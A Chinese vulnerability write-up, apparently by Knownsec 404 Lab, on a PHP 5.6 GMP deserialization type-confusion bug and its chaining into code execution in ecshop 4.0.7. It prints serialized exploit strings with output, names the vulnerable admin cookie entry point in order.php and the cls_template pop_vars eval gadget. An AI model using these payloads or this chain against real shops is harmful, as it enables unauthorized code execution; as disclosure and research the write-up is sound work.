從反序列化到型別混淆漏洞——記一次 ecshop 例項利用

酷酷的曉得哥發表於2020-07-09

作者:LoRexxar'@知道創宇404實驗室

時間:2020年3月31日

English Version:

中文地址:


本文初完成於2020年3月31日,由於涉及到0day利用,所以於2020年3月31日報告廠商、CNVD漏洞平臺,滿足90天漏洞披露期,遂公開。


前幾天偶然看到了一篇在Hackerone上提交的漏洞報告,在這個漏洞中,漏洞發現者提出了很有趣的利用,作者利用GMP的一個型別混淆漏洞,配合相應的利用鏈可以構造mybb的一次程式碼執行,這裡我們就一起來看看這個漏洞。



以下文章部分細節,感謝漏洞發現者@taoguangchen的幫助。


GMP型別混淆漏洞

漏洞利用條件

php 5.6.x

反序列化入口點

可以觸發__wakeup的觸發點(在php < 5.6.11以下,可以使用內建類)

漏洞詳情

gmp.c


static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */

{

    ...

    ALLOC_INIT_ZVAL(zv_ptr);

    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)

        || Z_TYPE_P(zv_ptr) != IS_ARRAY

    ) {

        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);

        goto exit;

    }


    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {

        zend_hash_copy(

            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),

            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)

        );

    }

zend_object_handlers.c


ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */

{

    zend_object *zobj;

    zobj = Z_OBJ_P(object);

    if (!zobj->properties) {

        rebuild_object_properties(zobj);

    }

    return zobj->properties;

}

從gmp.c中的片段中我們可以大致理解漏洞發現者taoguangchen的原話。


__wakeup等魔術方法可以導致ZVAL在記憶體中被修改。因此,攻擊者可以將**object轉化為整數型或者bool型的ZVAL,那麼我們就可以透過Z_OBJ_P訪問儲存在物件儲存中的任何物件,這也就意味著可以透過zend_hash_copy覆蓋任何物件中的屬性,這可能導致很多問題,在一定場景下也可以導致安全問題。


或許僅憑藉程式碼片段沒辦法理解上述的話,但我們可以用實際測試來看看。


首先我們來看一段測試程式碼


<?php


class obj

{

    var $ryat;


    function __wakeup()

    {

        $this->ryat = 1;

    }

}


class b{

    var $ryat =1;

}


$obj = new stdClass;

$obj->aa = 1;

$obj->bb = 2;


$obj2 = new b;


$obj3 = new stdClass;

$obj3->aa =2;



$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';

$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$x = unserialize($exploit);


$obj4 = new stdClass;


var_dump($x);

var_dump($obj);

var_dump($obj2);    

var_dump($obj3);

var_dump($obj4);


?>

在程式碼中我展示了多種不同情況下的環境。


讓我們來看看結果是什麼?


array(1) {

  [0]=>

  &int(1)

}

object(stdClass)#1 (3) {

  ["aa"]=>

  string(2) "hi"

  ["bb"]=>

  string(2) "hi"

  [0]=>

  object(obj)#5 (1) {

    ["ryat"]=>

    &int(1)

  }

}

object(b)#2 (1) {

  ["ryat"]=>

  int(1)

}

object(stdClass)#3 (1) {

  ["aa"]=>

  int(2)

}

object(stdClass)#4 (0) {

}

我成功修改了第一個宣告的物件。


但如果我將反序列化的類改成b會發生什麼呢?


$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很顯然的是,並不會影響到其他的類變數


array(1) {

  [0]=>

  &object(GMP)#4 (4) {

    ["aa"]=>

    string(2) "hi"

    ["bb"]=>

    string(2) "hi"

    [0]=>

    object(b)#5 (1) {

      ["ryat"]=>

      &object(GMP)#4 (4) {

        ["aa"]=>

        string(2) "hi"

        ["bb"]=>

        string(2) "hi"

        [0]=>

        *RECURSION*

        ["num"]=>

        string(2) "32"

      }

    }

    ["num"]=>

    string(2) "32"

  }

}

object(stdClass)#1 (2) {

  ["aa"]=>

  int(1)

  ["bb"]=>

  int(2)

}

object(b)#2 (1) {

  ["ryat"]=>

  int(1)

}

object(stdClass)#3 (1) {

  ["aa"]=>

  int(2)

}

object(stdClass)#6 (0) {

}

如果我們給class b加一個__Wakeup函式,那麼又會產生一樣的效果。


但如果我們把wakeup魔術方法中的變數設定為2


class obj

{

    var $ryat;


    function __wakeup()

    {

        $this->ryat = 2;

    }

}

返回的結果可以看出來,我們成功修改了第二個宣告的物件。


array(1) {

  [0]=>

  &int(2)

}

object(stdClass)#1 (2) {

  ["aa"]=>

  int(1)

  ["bb"]=>

  int(2)

}

object(b)#2 (4) {

  ["ryat"]=>

  int(1)

  ["aa"]=>

  string(2) "hi"

  ["bb"]=>

  string(2) "hi"

  [0]=>

  object(obj)#5 (1) {

    ["ryat"]=>

    &int(2)

  }

}

object(stdClass)#3 (1) {

  ["aa"]=>

  int(2)

}

object(stdClass)#4 (0) {

}

但如果我們把ryat改為4,那麼頁面會直接返回500,因為我們修改了沒有分配的物件空間。


在完成前面的試驗後,我們可以把漏洞的利用條件簡化一下。


如果我們有一個可控的反序列化入口,目標後端PHP安裝了GMP外掛(這個外掛在原版php中不是預設安裝的,但部分打包環境中會自帶),如果我們找到一個可控的__wakeup魔術方法,我們就可以修改反序列化前宣告的物件屬性,並配合場景產生實際的安全問題。


如果目標的php版本在5.6 <= 5.6.11中,我們可以直接使用內建的魔術方法來觸發這個漏洞。


var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真實世界案例

在討論完GMP型別混淆漏洞之後,我們必須要討論一下這個漏洞在真實場景下的利用方式。


漏洞的發現者Taoguang Chen提交了一個在mybb中的相關利用。



這裡我們不繼續討論這個漏洞,而是從頭討論一下在ecshop中的利用方式。


漏洞環境

ecshop 4.0.7

php 5.6.9

反序列化漏洞

首先我們需要找到一個反序列化入口點,這裡我們可以全域性搜尋unserialize,挨個看一下我們可以找到兩個可控的反序列化入口。


其中一個是search.php line 45


...

{

    $string = base64_decode(trim($_GET['encode']));


    if ($string !== false)

    {

        $string = unserialize($string);

        if ($string !== false)

...

這是一個前臺的入口,但可惜的是引入初始化檔案在反序列化之後,這也就導致我們沒辦法找到可以覆蓋類變數屬性的目標,也就沒辦法進一步利用。


還有一個是admin/order.php line 229


    /* 取得上一個、下一個訂單號 */

    if (!empty($_COOKIE['ECSCP']['lastfilter']))

    {

        $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));


       ...

後臺的表單頁的這個功能就滿足我們的要求了,不但可控,還可以用urlencode來繞過ecshop對全域性變數的過濾。


這樣一來我們就找到了一個可控並且合適的反序列化入口點。


尋找合適的類屬性利用鏈

在尋找利用鏈之前,我們可以用


get_declared_classes()

來確定在反序列化時,已經宣告定義過的類。


在我本地環境下,除了PHP內建類以外我一共找到13個類


  [129]=>

  string(3) "ECS"

  [130]=>

  string(9) "ecs_error"

  [131]=>

  string(8) "exchange"

  [132]=>

  string(9) "cls_mysql"

  [133]=>

  string(11) "cls_session"

  [134]=>

  string(12) "cls_template"

  [135]=>

  string(11) "certificate"

  [136]=>

  string(6) "oauth2"

  [137]=>

  string(15) "oauth2_response"

  [138]=>

  string(14) "oauth2_request"

  [139]=>

  string(9) "transport"

  [140]=>

  string(6) "matrix"

  [141]=>

  string(16) "leancloud_client"

從程式碼中也可以看到在檔案頭引入了多個庫檔案


require(dirname(__FILE__) . '/includes/init.php');

require_once(ROOT_PATH . 'includes/lib_order.php');

require_once(ROOT_PATH . 'includes/lib_goods.php');

require_once(ROOT_PATH . 'includes/cls_matrix.php');

include_once(ROOT_PATH . 'includes/cls_certificate.php');

require('leancloud_push.php');

這裡我們主要關注init.php,因為在這個檔案中宣告瞭ecshop的大部分通用類。


在逐個看這裡面的類變數時,我們可以敏銳的看到一個特殊的變數,由於ecshop的後臺結構特殊,頁面內容大多都是由模板編譯而成,而這個模板類恰好也在init.php中宣告


require(ROOT_PATH . 'includes/cls_template.php');

$smarty = new cls_template;

回到order.php中我們尋找與$smarty相關的方法,不難發現,主要集中在兩個方法中


...

    $smarty->assign('shipping', $shipping);


    $smarty->display('print.htm');

...

而這裡我們主要把視角集中在display方法上。


粗略的瀏覽下display方法的邏輯大致是


請求相應的模板檔案

-->

經過一系列判斷,將相應的模板檔案做相應的編譯

-->

輸出編譯後的檔案地址

比較重要的程式碼會在make_compiled這個函式中被定義


function make_compiled($filename)

    {

        $name = $this->compile_dir . '/' . basename($filename) . '.php';


        ...


        if ($this->force_compile || $filestat['mtime'] > $expires)

        {

            $this->_current_file = $filename;

            $source = $this->fetch_str(file_get_contents($filename));


            if (file_put_contents($name, $source, LOCK_EX) === false)

            {

                trigger_error('can\'t write:' . $name);

            }


            $source = $this->_eval($source);

        }


        return $source;

    }

當流程走到這一步的時候,我們需要先找到我們的目標是什麼?


重新審視cls_template.php的程式碼,我們可以發現涉及到程式碼執行的只有幾個函式。


   function get_para($val, $type = 1) // 處理insert外部函式/需要include執行的函式的呼叫資料

    {

        $pa = $this->str_trim($val);

        foreach ($pa AS $value)

        {

            if (strrpos($value, '='))

            {

                list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value));

                if ($b{0} == '$')

                {

                    if ($type)

                    {

                        eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');

                    }

                    else

                    {

                        $para[$a] = $this->get_val(substr($b, 1));

                    }

                }

                else

                {

                    $para[$a] = $b;

                }

            }

        }


        return $para;

    }

get_para只在select中呼叫,但是沒找到能觸發select的地方。


然後是pop_vars


    function pop_vars()

    {

        $key = array_pop($this->_temp_key);

        $val = array_pop($this->_temp_val);


        if (!empty($key))

        {

            eval($key);

        }

    }

恰好配合GMP我們可以控制$this->_temp_key變數,所以我們只要能在上面的流程中找到任意地方呼叫這個方法,我們就可以配合變數覆蓋構造一個程式碼執行。


在回看剛才的程式碼流程時,我們從編譯後的PHP檔案中找到了這樣的程式碼


order_info.htm.php


  <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>

在遍歷完表單之後,正好會觸發pop_vars。


這樣一來,只要我們控制覆蓋cls_template變數的_temp_key屬性,我們就可以完成一次getshell


最終利用效果



Timeline

2020.03.31 發現漏洞。

2020.03.31 將漏洞報送廠商、CVE、CNVD等。

2020.07.08 符合90天漏洞披露期,公開細節。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2703417/,如需轉載,請註明出處,否則將追究法律責任。

相關文章